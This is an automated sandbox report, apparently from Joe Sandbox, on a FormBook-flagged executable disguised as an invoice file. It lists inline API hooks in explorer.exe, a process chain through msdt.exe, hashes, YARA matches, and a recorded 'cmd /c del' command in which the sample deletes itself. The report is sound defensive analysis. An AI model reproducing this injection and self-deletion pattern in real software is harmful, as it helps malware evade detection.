ng:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem 0}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:col

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

User Modules

Hook Summary

Processes
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Behavior

Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 09:39:45

Start date: 15/09/2021

Path: C:\Users\user\Desktop\PI L032452021xxls.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\PI L032452021xxls.exe' 

Imagebase: 0x5b0000

File size: 722944 bytes

MD5 hash: 73C7FDA15888B3B6CC025CE3D5F83161

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000000.00000002.382824881.0000000002A32000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000000.00000002.385908241.0000000003A29000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000000.00000002.385908241.0000000003A29000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000000.00000002.385908241.0000000003A29000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 09:39:57

Start date: 15/09/2021

Path: C:\Users\user\Desktop\PI L032452021xxls.exe

Wow64 process (32bit): false

Commandline: C:\Users\user\Desktop\PI L032452021xxls.exe

Imagebase: 0x390000

File size: 722944 bytes

MD5 hash: 73C7FDA15888B3B6CC025CE3D5F83161

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: PI L032452021xxls.exe PID: 660 Parent PID: 5344Analysis Process: PI L032452021xxls.exe PID: 660 Parent PID: 5344

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: PI L032452021xxls.exe PID: 6756 Parent PID: 660Analysis Process: PI L032452021xxls.exe PID: 6756 Parent PID: 660

General
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Reputation: low

File ActivitiesFile Activities

Start time: 09:39:58

Start date: 15/09/2021

Path: C:\Users\user\Desktop\PI L032452021xxls.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Desktop\PI L032452021xxls.exe

Imagebase: 0x670000

File size: 722944 bytes

MD5 hash: 73C7FDA15888B3B6CC025CE3D5F83161

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.476678595.0000000000CE0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.476678595.0000000000CE0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.476678595.0000000000CE0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.476370627.0000000000CB0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.476370627.0000000000CB0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.476370627.0000000000CB0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.475476363.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000006.00000002.475476363.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.475476363.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 09:40:01

Start date: 15/09/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6f22f0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: PI L032452021xxls.exe PID: 6780 Parent PID: 660Analysis Process: PI L032452021xxls.exe PID: 6780 Parent PID: 660

General

File ReadFile Read

Analysis Process: explorer.exe PID: 3440 Parent PID: 6780Analysis Process: explorer.exe PID: 3440 Parent PID: 6780

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000000.416682205.0000000007630000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000007.00000000.416682205.0000000007630000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000000.416682205.0000000007630000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000000.438420225.0000000007630000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000007.00000000.438420225.0000000007630000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000000.438420225.0000000007630000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

Start time: 09:40:31

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\autoconv.exe

Wow64 process (32bit): false

Commandline: C:\Windows\SysWOW64\autoconv.exe

Imagebase: 0x340000

File size: 851968 bytes

MD5 hash: 4506BE56787EDCD771A351C10B5AE3B7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 09:40:40

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\msdt.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\msdt.exe

Imagebase: 0x1010000

File size: 1508352 bytes

MD5 hash: 7F0C51DBA69B9DE5DDF6AA04CE3A69F4

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: autoconv.exe PID: 4456 Parent PID: 3440Analysis Process: autoconv.exe PID: 4456 Parent PID: 3440

General

Analysis Process: msdt.exe PID: 5316 Parent PID: 3440Analysis Process: msdt.exe PID: 5316 Parent PID: 3440

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000011.00000002.622477273.0000000003370000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000011.00000002.622477273.0000000003370000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000011.00000002.622477273.0000000003370000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000011.00000002.619318186.0000000000D20000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000011.00000002.619318186.0000000000D20000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000011.00000002.619318186.0000000000D20000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000011.00000002.622417859.0000000003340000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000011.00000002.622417859.0000000003340000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000011.00000002.622417859.0000000003340000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 09:40:44

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\PI L032452021xxls.exe'

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 09:40:45

Start date: 15/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

File ReadFile Read

Analysis Process: cmd.exe PID: 5436 Parent PID: 5316Analysis Process: cmd.exe PID: 5436 Parent PID: 5316

General

File DeletedFile Deleted

Analysis Process: conhost.exe PID: 5224 Parent PID: 5436Analysis Process: conhost.exe PID: 5224 Parent PID: 5436

General
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Disassembly

Code Analysis
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Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
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